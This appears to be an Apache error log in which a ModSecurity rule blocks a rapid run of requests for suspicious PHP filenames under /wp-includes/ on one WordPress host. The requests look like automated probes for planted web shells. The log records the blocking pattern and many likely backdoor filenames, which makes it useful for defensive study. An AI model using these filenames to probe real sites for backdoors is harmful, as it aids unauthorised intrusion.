[Fri Mar 13 05:11:15.603073 2026] [:error] [pid 62036:tid 62053] [client 136.144.19.234:21977] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/pp.php"] [unique_id "abMr87ce6g9kILuh_R7izQAAAMo"]
[Fri Mar 13 05:11:17.022294 2026] [:error] [pid 44755:tid 44776] [client 216.24.219.204:42721] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-mail.php"] [unique_id "abMr9fONf1H0XrBFE4NbnAAAARM"]
[Fri Mar 13 05:11:17.623844 2026] [:error] [pid 62036:tid 62047] [client 136.144.19.79:26141] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Fri Mar 13 05:11:18.299136 2026] [:error] [pid 62036:tid 62052] [client 136.144.19.79:26141] [client 136.144.19.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "abMr9rce6g9kILuh_R7i5gAAAMk"]
[Fri Mar 13 05:11:19.109675 2026] [:error] [pid 61928:tid 61978] [client 136.144.19.236:36345] [client 136.144.19.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "abMr9wod66AHekJJZiofTAAAAEE"]
[Fri Mar 13 05:11:20.001915 2026] [:error] [pid 61927:tid 61967] [client 136.144.19.73:54211] [client 136.144.19.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "abMr-LLkK584eBa2J7W8-gAAABU"]
[Fri Mar 13 05:11:20.822973 2026] [:error] [pid 44755:tid 44761] [client 136.144.19.60:49629] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "abMr-PONf1H0XrBFE4NbvwAAAQQ"]
[Fri Mar 13 05:11:21.724066 2026] [:error] [pid 61928:tid 61989] [client 136.144.19.63:47729] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "abMr-Qod66AHekJJZiofZwAAAEw"]
[Fri Mar 13 05:11:22.884643 2026] [:error] [pid 44755:tid 44760] [client 216.24.219.167:31857] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "abMr-vONf1H0XrBFE4Nb6gAAAQM"]
[Fri Mar 13 05:11:23.488445 2026] [:error] [pid 61927:tid 61960] [client 136.144.19.46:21117] File does not exist: /usr/local/apache/htdocs/suspended-page/wikindex.php
[Fri Mar 13 05:11:23.751451 2026] [:error] [pid 61927:tid 61948] [client 136.144.19.46:21117] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "abMr-7LkK584eBa2J7W9KgAAAAI"]
[Fri Mar 13 05:11:24.318583 2026] [:error] [pid 61927:tid 61960] [client 136.144.19.226:38347] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Fri Mar 13 05:11:24.620424 2026] [:error] [pid 61927:tid 61961] [client 136.144.19.226:38347] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "abMr_LLkK584eBa2J7W9NwAAAA8"]
[Fri Mar 13 05:11:26.016653 2026] [:error] [pid 62036:tid 62065] [client 136.144.19.221:35761] [client 136.144.19.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "abMr_rce6g9kILuh_R7jEwAAANY"]
[Fri Mar 13 05:11:27.116285 2026] [:error] [pid 44755:tid 44764] [client 193.36.224.140:32563] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "abMr__ONf1H0XrBFE4NcNQAAAQc"]
[Fri Mar 13 05:11:27.927874 2026] [:error] [pid 61929:tid 62018] [client 136.144.19.232:43543] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "abMr_zGGsow2jgUjLtxKOwAAAI4"]
[Fri Mar 13 05:11:29.376336 2026] [:error] [pid 61929:tid 62008] [client 136.144.19.229:33221] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Fri Mar 13 05:11:29.969747 2026] [:error] [pid 61929:tid 62023] [client 136.144.19.229:33221] [client 136.144.19.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "abMsATGGsow2jgUjLtxKWAAAAJM"]
[Fri Mar 13 05:11:31.176029 2026] [:error] [pid 44755:tid 44781] [client 136.144.19.69:38421] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "abMsA_ONf1H0XrBFE4NcZAAAARg"]
[Fri Mar 13 05:11:32.389918 2026] [:error] [pid 44755:tid 44773] [client 136.144.19.222:61009] [client 136.144.19.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "abMsBPONf1H0XrBFE4NcdQAAARA"]
[Fri Mar 13 05:11:34.142400 2026] [:error] [pid 61927:tid 61967] [client 216.24.219.200:40299] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "abMsBrLkK584eBa2J7W9XwAAABU"]
[Fri Mar 13 05:11:34.679098 2026] [:error] [pid 61929:tid 62008] [client 216.24.219.200:21551] [client 216.24.219.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "abMsBjGGsow2jgUjLtxKfAAAAIQ"]
[Fri Mar 13 05:11:36.247662 2026] [:error] [pid 44755:tid 44759] [client 216.24.219.196:27299] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "abMsCPONf1H0XrBFE4NctQAAAQI"]
[Fri Mar 13 05:11:36.787500 2026] [:error] [pid 61928:tid 61997] [client 136.144.19.46:48335] [client 136.144.19.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "abMsCAod66AHekJJZiofrgAAAFQ"]
[Fri Mar 13 05:11:38.163566 2026] [:error] [pid 44755:tid 44768] [client 136.144.19.60:60305] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "abMsCvONf1H0XrBFE4Nc4wAAAQs"]
[Fri Mar 13 05:11:39.681329 2026] [:error] [pid 44755:tid 44760] [client 136.144.19.41:45115] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "abMsC_ONf1H0XrBFE4Nc-gAAAQM"]
[Fri Mar 13 05:11:40.865552 2026] [:error] [pid 61927:tid 61964] [client 136.144.19.225:63491] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "abMsDLLkK584eBa2J7W9dAAAABI"]
[Fri Mar 13 05:11:41.470196 2026] [:error] [pid 61929:tid 62023] [client 136.144.19.235:28439] [client 136.144.19.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "abMsDTGGsow2jgUjLtxKvwAAAJM"]
[Fri Mar 13 05:11:42.017418 2026] [:error] [pid 61928:tid 61981] [client 136.144.19.54:42251] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "abMsDgod66AHekJJZiofyQAAAEQ"]
[Fri Mar 13 05:11:44.045456 2026] [:error] [pid 61927:tid 61948] [client 136.144.19.63:63867] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "abMsELLkK584eBa2J7W9fgAAAAI"]
[Fri Mar 13 05:11:44.621358 2026] [:error] [pid 62036:tid 62048] [client 136.144.19.69:23573] [client 136.144.19.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "abMsELce6g9kILuh_R7j0QAAAMU"]
[Fri Mar 13 05:11:45.222315 2026] [:error] [pid 61927:tid 61967] [client 216.24.219.201:42615] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "abMsEbLkK584eBa2J7W9gQAAABU"]
[Fri Mar 13 05:11:47.438625 2026] [:error] [pid 61927:tid 61948] [client 136.144.19.70:49035] [client 136.144.19.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "abMsE7LkK584eBa2J7W9ngAAAAI"]
[Fri Mar 13 05:11:47.954599 2026] [:error] [pid 61929:tid 62015] [client 216.24.219.201:55951] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "abMsEzGGsow2jgUjLtxK7wAAAIs"]
[Fri Mar 13 05:11:48.470940 2026] [:error] [pid 61929:tid 62027] [client 136.144.19.72:53821] [client 136.144.19.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "abMsFDGGsow2jgUjLtxK_AAAAJc"]
[Fri Mar 13 05:11:49.044589 2026] [:error] [pid 44755:tid 44767] [client 136.144.19.48:59729] [client 136.144.19.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/firewall.php"] [unique_id "abMsFfONf1H0XrBFE4NdZwAAAQo"]
[Fri Mar 13 05:11:49.863075 2026] [:error] [pid 44755:tid 44762] [client 136.144.19.232:35379] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/rk2.php"] [unique_id "abMsFfONf1H0XrBFE4NdcgAAAQU"]
[Fri Mar 13 05:11:50.456914 2026] [:error] [pid 61929:tid 62005] [client 216.24.219.211:20741] [client 216.24.219.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "abMsFjGGsow2jgUjLtxLEAAAAIE"]
[Fri Mar 13 05:11:51.046823 2026] [:error] [pid 62036:tid 62064] [client 216.24.219.201:57119] [client 216.24.219.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "abMsF7ce6g9kILuh_R7kFgAAANU"]
[Fri Mar 13 05:11:53.976829 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.76:52989] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "abMsGfONf1H0XrBFE4NdvQAAAQk"]
[Fri Mar 13 05:11:54.855888 2026] [:error] [pid 61928:tid 61985] [client 136.144.19.41:58829] [client 136.144.19.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "abMsGgod66AHekJJZiof8QAAAEg"]
[Fri Mar 13 05:11:58.626735 2026] [:error] [pid 62036:tid 62067] [client 136.144.19.64:38175] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "abMsHrce6g9kILuh_R7kUAAAANg"]
[Fri Mar 13 05:12:00.638516 2026] [:error] [pid 44755:tid 44766] [client 136.144.19.76:43807] [client 136.144.19.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "abMsIPONf1H0XrBFE4NeCgAAAQk"]
[Fri Mar 13 05:12:01.723144 2026] [:error] [pid 61929:tid 62005] [client 216.24.219.196:47915] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ln/class-wp-widddget-pages.php"] [unique_id "abMsITGGsow2jgUjLtxLWQAAAIE"]
[Fri Mar 13 05:12:03.045793 2026] [:error] [pid 62036:tid 62053] [client 136.144.19.219:51659] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "abMsI7ce6g9kILuh_R7kgwAAAMo"]
[Fri Mar 13 05:12:05.210679 2026] [:error] [pid 61927:tid 61969] [client 136.144.19.225:60073] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "abMsJbLkK584eBa2J7W98wAAABc"]
[Fri Mar 13 05:12:07.337898 2026] [:error] [pid 44755:tid 44772] [client 136.144.19.227:47209] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/id/wp-work.php"] [unique_id "abMsJ_ONf1H0XrBFE4NeOQAAAQ8"]
[Fri Mar 13 05:12:07.870500 2026] [:error] [pid 62036:tid 62049] [client 136.144.19.227:44107] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "abMsJ7ce6g9kILuh_R7kvQAAAMY"]
[Fri Mar 13 05:12:10.271703 2026] [:error] [pid 62036:tid 62063] [client 136.144.19.61:48823] [client 136.144.19.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "abMsKrce6g9kILuh_R7k8AAAANQ"]
[Fri Mar 13 05:12:10.918959 2026] [:error] [pid 44755:tid 44781] [client 216.24.219.204:39769] [client 216.24.219.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "abMsKvONf1H0XrBFE4NeWAAAARg"]
[Fri Mar 13 05:12:11.870946 2026] [:error] [pid 44755:tid 44757] [client 136.144.19.63:29105] File does not exist: /usr/local/apache/htdocs/suspended-page/setup-config.php
[Fri Mar 13 05:12:12.197844 2026] [:error] [pid 44755:tid 44769] [client 136.144.19.63:29105] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abMsLPONf1H0XrBFE4NedgAAAQw"]
[Fri Mar 13 05:12:12.996302 2026] [:error] [pid 62036:tid 62049] [client 136.144.19.60:41967] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "abMsLLce6g9kILuh_R7lEAAAAMY"]
[Fri Mar 13 05:12:13.540070 2026] [:error] [pid 44755:tid 44758] [client 136.144.19.219:25587] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "abMsLfONf1H0XrBFE4NejQAAAQE"]
[Fri Mar 13 05:12:16.423785 2026] [:error] [pid 61928:tid 61994] [client 136.144.19.225:59229] [client 136.144.19.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/count.php"] [unique_id "abMsMAod66AHekJJZiogYwAAAFE"]
